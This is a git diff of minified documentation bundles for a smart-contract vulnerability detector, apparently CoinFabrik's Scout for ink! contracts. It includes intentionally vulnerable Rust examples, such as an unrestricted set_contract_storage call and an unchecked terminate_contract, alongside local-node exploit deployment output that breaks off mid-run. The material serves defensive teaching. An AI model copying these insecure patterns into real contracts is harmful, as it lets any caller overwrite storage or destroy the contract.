p(e){let{components:t,...r}=e;return(0,o.kt)(u,(0,n.Z)({},d,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"unprotected-self-destruct"},"Unprotected self destruct"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"It warns you if ",(0,o.kt)("inlineCode",{parentName:"p"},"terminate_contract")," function is called without previously checking the address of the caller."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"If users are allowed to call ",(0,o.kt)("inlineCode",{parentName:"p"},"terminate_contract"),", they can intentionally or accidentally destroy the contract, leading to the loss of all associated data and functionalities given by this contract or by others that depend on it."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delete_contract(&mut self, beneficiary: AccountId) {\n self.env().terminate_contract(beneficiary)\n }\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn delete_contract(&mut self, beneficiary: AccountId) {\n if self.admin == self.env().caller() {\n self.env().terminate_contract(beneficiary)\n }\n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-self-destruct"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/16367942.f3d50aec.js b/assets/js/16367942.f3d50aec.js new file mode 100644 index 00000000..ff2c1dba --- /dev/null +++ b/assets/js/16367942.f3d50aec.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[8481],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var l=r.createContext({}),c=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},u=function(e){var t=c(e.components);return r.createElement(l.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,o=e.originalType,l=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=c(n),f=i,m=p["".concat(l,".").concat(f)]||p[f]||d[f]||o;return n?r.createElement(m,a(a({ref:t},u),{},{components:n})):r.createElement(m,a({ref:t},u))}));function m(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var o=n.length,a=new Array(o);a[0]=f;var s={};for(var l in t)hasOwnProperty.call(t,l)&&(s[l]=t[l]);s.originalType=e,s[p]="string"==typeof e?e:i,a[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>a,default:()=>d,frontMatter:()=>o,metadata:()=>s,toc:()=>c});var r=n(2564),i=(n(9496),n(9613));const o={},a="Warning sr25519_verify",s={unversionedId:"detectors/warning-sr25519-verify",id:"detectors/warning-sr25519-verify",title:"Warning sr25519_verify",description:"What it does",source:"@site/docs/detectors/27-warning-sr25519-verify.md",sourceDirName:"detectors",slug:"/detectors/warning-sr25519-verify",permalink:"/scout/docs/detectors/warning-sr25519-verify",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/27-warning-sr25519-verify.md",tags:[],version:"current",sidebarPosition:27,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid Unsafe Block",permalink:"/scout/docs/detectors/avoid-unsafe-block"},next:{title:"Lazy values get and not set",permalink:"/scout/docs/detectors/lazy-values-not-set"}},l={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:c},p="wrapper";function d(e){let{components:t,...n}=e;return(0,i.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"warning-sr25519_verify"},"Warning sr25519_verify"),(0,i.kt)("h3",{id:"what-it-does"},"What it does"),(0,i.kt)("p",null,"Warns about ",(0,i.kt)("inlineCode",{parentName:"p"},"sr25519_verify()")," usage."),(0,i.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,i.kt)("p",null,"This function is not available on production chains."),(0,i.kt)("h4",{id:"more-info"},"More info"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.rs/ink_env/5.0.0/ink_env/fn.sr25519_verify.html"},"https://docs.rs/ink_env/5.0.0/ink_env/fn.sr25519_verify.html"))),(0,i.kt)("h3",{id:"example"},"Example"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn example(&self) -> bool {\n let signature: [u8; 64] = [\n 184, 49, 74, 238, 78, 165, 102, 252, 22, 92, 156, 176, 124, 118, 168, 116, 247, 99,\n 0, 94, 2, 45, 9, 170, 73, 222, 182, 74, 60, 32, 75, 64, 98, 174, 69, 55, 83, 85,\n 180, 98, 208, 75, 231, 57, 205, 62, 4, 105, 26, 136, 172, 17, 123, 99, 90, 255,\n 228, 54, 115, 63, 30, 207, 205, 131,\n ];\n let message: &[u8; 11] = b"hello world";\n let pub_key: [u8; 32] = [\n 212, 53, 147, 199, 21, 253, 211, 28, 97, 20, 26, 189, 4, 169, 159, 214, 130, 44,\n 133, 88, 133, 76, 205, 227, 154, 86, 132, 231, 165, 109, 162, 125,\n ];\n\n ink::env::sr25519_verify(&signature, message.as_slice(), &pub_key).is_ok()\n }\n')),(0,i.kt)("p",null,"Do not use it."),(0,i.kt)("h3",{id:"implementation"},"Implementation"),(0,i.kt)("p",null,"The detector's implementation can be found at ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/warning-sr25519-verify"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/1cc114b2.8e93450b.js b/assets/js/1cc114b2.14b36830.js similarity index 65% rename from assets/js/1cc114b2.8e93450b.js rename to assets/js/1cc114b2.14b36830.js index c543c593..a2217094 100644 --- a/assets/js/1cc114b2.8e93450b.js +++ b/assets/js/1cc114b2.14b36830.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7059],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var c=r.createContext({}),l=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},u=function(e){var t=l(e.components);return r.createElement(c.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,i=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=l(n),m=o,f=p["".concat(c,".").concat(m)]||p[m]||d[m]||i;return n?r.createElement(f,a(a({ref:t},u),{},{components:n})):r.createElement(f,a({ref:t},u))}));function f(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var i=n.length,a=new Array(i);a[0]=m;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[p]="string"==typeof e?e:o,a[1]=s;for(var l=2;l{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>a,default:()=>d,frontMatter:()=>i,metadata:()=>s,toc:()=>l});var r=n(2564),o=(n(9496),n(9613));const i={},a="Ink! version",s={unversionedId:"detectors/ink-version",id:"detectors/ink-version",title:"Ink! version",description:"What it does",source:"@site/docs/detectors/20-ink-version.md",sourceDirName:"detectors",slug:"/detectors/ink-version",permalink:"/scout/docs/detectors/ink-version",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/20-ink-version.md",tags:[],version:"current",sidebarPosition:20,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Iterators over indexing",permalink:"/scout/docs/detectors/iterators-over-indexing"},next:{title:"Unprotected set code hash",permalink:"/scout/docs/detectors/unprotected-set-code-hash"}},c={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:l},p="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"ink-version"},"Ink! version"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Warns you if you are using an old version of ink!."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"Using an old version of ink! can be dangerous, as it may have bugs or security issues."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-toml"},'[dependencies]\n ink = { version = "5.0.0", default-features = false }\n')),(0,o.kt)("p",null,"Instead, use the latest available version."),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/ink-version"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[7059],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>f});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var c=r.createContext({}),l=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},p=function(e){var t=l(e.components);return r.createElement(c.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,i=e.originalType,c=e.parentName,p=s(e,["components","mdxType","originalType","parentName"]),u=l(n),m=o,f=u["".concat(c,".").concat(m)]||u[m]||d[m]||i;return n?r.createElement(f,a(a({ref:t},p),{},{components:n})):r.createElement(f,a({ref:t},p))}));function f(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var i=n.length,a=new Array(i);a[0]=m;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[u]="string"==typeof e?e:o,a[1]=s;for(var l=2;l{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>a,default:()=>d,frontMatter:()=>i,metadata:()=>s,toc:()=>l});var r=n(2564),o=(n(9496),n(9613));const i={},a="Ink! version",s={unversionedId:"detectors/ink-version",id:"detectors/ink-version",title:"Ink! version",description:"What it does",source:"@site/docs/detectors/20-ink-version.md",sourceDirName:"detectors",slug:"/detectors/ink-version",permalink:"/scout/docs/detectors/ink-version",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/20-ink-version.md",tags:[],version:"current",sidebarPosition:20,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Iterators over indexing",permalink:"/scout/docs/detectors/iterators-over-indexing"},next:{title:"Unprotected set code hash",permalink:"/scout/docs/detectors/unprotected-set-code-hash"}},c={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:l},u="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"ink-version"},"Ink! version"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Warns you if you are using an old version of ",(0,o.kt)("inlineCode",{parentName:"p"},"ink!"),"."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"Using an old version of ",(0,o.kt)("inlineCode",{parentName:"p"},"ink!")," can be dangerous, as it may have bugs or security issues."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-toml"},'[dependencies]\n ink = { version = "5.0.0", default-features = false }\n')),(0,o.kt)("p",null,"Instead, use the latest available version."),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/ink-version"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/32b9ac3c.007a041e.js b/assets/js/32b9ac3c.007a041e.js new file mode 100644 index 00000000..b02dea19 --- /dev/null +++ b/assets/js/32b9ac3c.007a041e.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2136],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var l=r.createContext({}),c=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=c(e.components);return r.createElement(l.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,l=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=c(n),f=a,m=p["".concat(l,".").concat(f)]||p[f]||d[f]||i;return n?r.createElement(m,o(o({ref:t},u),{},{components:n})):r.createElement(m,o({ref:t},u))}));function m(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,o=new Array(i);o[0]=f;var s={};for(var l in t)hasOwnProperty.call(t,l)&&(s[l]=t[l]);s.originalType=e,s[p]="string"==typeof e?e:a,o[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>s,toc:()=>c});var r=n(2564),a=(n(9496),n(9613));const i={},o="Buffering Unsized Types",s={unversionedId:"detectors/buffering-unsized-types",id:"detectors/buffering-unsized-types",title:"Buffering Unsized Types",description:"What it does",source:"@site/docs/detectors/25-buffering-unsized-types.md",sourceDirName:"detectors",slug:"/detectors/buffering-unsized-types",permalink:"/scout/docs/detectors/buffering-unsized-types",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/25-buffering-unsized-types.md",tags:[],version:"current",sidebarPosition:25,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Incorrect Exponentiation",permalink:"/scout/docs/detectors/incorrect-exponentiation"},next:{title:"Avoid Unsafe Block",permalink:"/scout/docs/detectors/avoid-unsafe-block"}},l={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:c},p="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"buffering-unsized-types"},"Buffering Unsized Types"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"It checks for the correct use of fallible methods when reading/writing data into ",(0,a.kt)("inlineCode",{parentName:"p"},"StorageVec")," type variables."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,(0,a.kt)("inlineCode",{parentName:"p"},"StorageVec")," is a Lazy type. Hence the static buffer to store the encoded data is of limited size. Because of that, reading/writing methods can fail and trap the contract."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(message)]\n pub fn do_something(&mut self, data: String) {\n let caller = self.env().caller();\n\n let example = format!("{caller:?}: {data}");\n\n // Panics if data overgrows the static buffer size!\n self.on_chain_log.insert(caller, &example);\n }\n')),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn do_something2(&mut self, data: String) -> Result<(), Error> {\n let caller = self.env().caller();\n\n match self.on_chain_log.try_insert(caller, &data) {\n Ok(_) => Ok(()),\n Err(_) => Err(Error::InsertFailed),\n }\n }\n")),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/detectors/buffering-unsized-types"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/3948feef.85bf3489.js b/assets/js/3948feef.d908304a.js similarity index 94% rename from assets/js/3948feef.85bf3489.js rename to assets/js/3948feef.d908304a.js index c6c566e9..86aa9736 100644 --- a/assets/js/3948feef.85bf3489.js +++ b/assets/js/3948feef.d908304a.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2688],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>h});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function s(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var c=a.createContext({}),l=function(e){var t=a.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):s(s({},t),e)),n},u=function(e){var t=l(e.components);return a.createElement(c.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},d=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,o=e.originalType,c=e.parentName,u=i(e,["components","mdxType","originalType","parentName"]),p=l(n),d=r,h=p["".concat(c,".").concat(d)]||p[d]||m[d]||o;return n?a.createElement(h,s(s({ref:t},u),{},{components:n})):a.createElement(h,s({ref:t},u))}));function h(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var o=n.length,s=new Array(o);s[0]=d;var i={};for(var c in t)hasOwnProperty.call(t,c)&&(i[c]=t[c]);i.originalType=e,i[p]="string"==typeof e?e:r,s[1]=i;for(var l=2;l{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>s,default:()=>m,frontMatter:()=>o,metadata:()=>i,toc:()=>l});var a=n(2564),r=(n(9496),n(9613));const o={},s="Set contract storage",i={unversionedId:"vulnerabilities/set-contract-storage",id:"vulnerabilities/set-contract-storage",title:"Set contract storage",description:"Description",source:"@site/docs/vulnerabilities/2-set-contract-storage.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/set-contract-storage",permalink:"/scout/docs/vulnerabilities/set-contract-storage",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/2-set-contract-storage.md",tags:[],version:"current",sidebarPosition:2,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Integer overflow or underflow",permalink:"/scout/docs/vulnerabilities/integer-overflow-or-underflow"},next:{title:"Reentrancy",permalink:"/scout/docs/vulnerabilities/reentrancy"}},c={},l=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment",id:"deployment",level:3},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:l},p="wrapper";function m(e){let{components:t,...n}=e;return(0,r.kt)(p,(0,a.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"set-contract-storage"},"Set contract storage"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,r.kt)("li",{parentName:"ul"},"Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/set-contract-storage"},(0,r.kt)("inlineCode",{parentName:"a"},"set-contract-storage"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/set-contract-storage/set-contract-storage-1"},(0,r.kt)("inlineCode",{parentName:"a"},"set-contract-storage-1")))),(0,r.kt)("p",null,"Smart contract can store important information in memory which changes\nthrough the contract's lifecycle. Changes happen via user interaction with\nthe smart contract. An ",(0,r.kt)("em",{parentName:"p"},"unauthorized set contract storage")," vulnerability\nhappens when a smart contract call allows a user to set or modify contract\nmemory when he was not supposed to be authorized."),(0,r.kt)("p",null,"In this example, we see how this vulnerability can be exploited to change a\nuser's allowance in an ",(0,r.kt)("a",{parentName:"p",href:"https://ethereum.org/en/developers/docs/standards/tokens/erc-20/"},"ERC20"),"\ncontract."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"In this example we see that any user may access the\n",(0,r.kt)("inlineCode",{parentName:"p"},"set_contract_storage()")," function, and therefore modify the value for any key\narbitrarily."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink::trait_definition]\npub trait MisusedSetContractStorage {\n #[ink(message)]\n fn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()>;\n}\n\n\nimpl MisusedSetContractStorage for Erc20 {\n #[ink(message)]\n fn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()> {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n }\n}\n")),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/set-contract-storage/set-contract-storage-1/vulnerable-example/lib.rs"},"here"),"."),(0,r.kt)("h3",{id:"deployment"},"Deployment"),(0,r.kt)("p",null,"To compile this example, ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo-contract")," v2.0.1 (or above) is required."),(0,r.kt)("p",null,"In order to run this exploit, ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/paritytech/substrate-contracts-node/releases"},"download"),", unzip and run a substrate node with ",(0,r.kt)("inlineCode",{parentName:"p"},"./substrate-contract-node"),". Download the contents of the ",(0,r.kt)("inlineCode",{parentName:"p"},"example")," folder associated to this detector and compile the contract running ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract build")," and build the binary."),(0,r.kt)("p",null,"Afterwards, upload the the binary into the running network with the account ",(0,r.kt)("inlineCode",{parentName:"p"},"Alice")," using ",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract upload --suri //Alice ./target/ink/my_contract.contract"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},'$ cargo contract upload --suri //Alice ./target/ink/my_contract.contract\n\n Events\n Event Balances \u279c Withdraw\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 3.366751549mUNIT\n Event Balances \u279c Reserved\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 587.83mUNIT\n Event Contracts \u279c CodeStored\n code_hash: 0xacb7ab745fa131cf8a8eb0f5bb2d98f88ea186da39dee2e80b1289bcfd9d7f25\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n actual_fee: 3.366751549mUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 3366724431, proof_size: 0 }, class: Normal, pays_fee: Yes }\n\n Code hash "0xacb7ab745fa131cf8a8eb0f5bb2d98f88ea186da39dee2e80b1289bcfd9d7f25"\n')),(0,r.kt)("p",null,"Instantiate the uploaded smart contract with 100000 tokens from ",(0,r.kt)("inlineCode",{parentName:"p"},"Alice")," running\n",(0,r.kt)("inlineCode",{parentName:"p"},"cargo contract instantiate --args 100000 --suri //Alice"),", press ",(0,r.kt)("inlineCode",{parentName:"p"},"y")," and\n",(0,r.kt)("inlineCode",{parentName:"p"},"[Enter]"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo contract instantiate --args 100000 --suri //Alice\n\n Dry-running new (skip with --skip-dry-run)\n Success! Gas required estimated at Weight(ref_time: 1173504383, proof_size: 0)\nConfirm transaction details: (skip with --skip-confirm)\n Constructor new\n Args 100000\n Gas limit Weight(ref_time: 1173504383, proof_size: 0)\nSubmit? (Y/n): y\n Events\n Event Balances \u279c Withdraw\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n amount: 99.001146\u03bcUNIT\n Event System \u279c NewAccount\n account: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event Balances \u279c Endowed\n account: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n free_balance: 100.605mUNIT\n Event Balances \u279c Transfer\n from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.605mUNIT\n Event Balances \u279c Reserved\n who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 100.605mUNIT\n Event Contracts \u279c ContractEmitted\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n data: Transfer { from: None, to: Some(5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY), value: 100000 }\n Event Contracts \u279c Instantiated\n deployer: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n Event Balances \u279c Transfer\n from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 200.16mUNIT\n Event Balances \u279c Reserved\n who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf\n amount: 200.16mUNIT\n Event TransactionPayment \u279c TransactionFeePaid\n who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY\n actual_fee: 99.001146\u03bcUNIT\n tip: 0UNIT\n Event System \u279c ExtrinsicSuccess\n dispatch_info: DispatchInfo { weight: Weight { ref_time: 5236087078, proof_size: 0 }, class: Normal, pays_fee: Yes }\n\n Contract 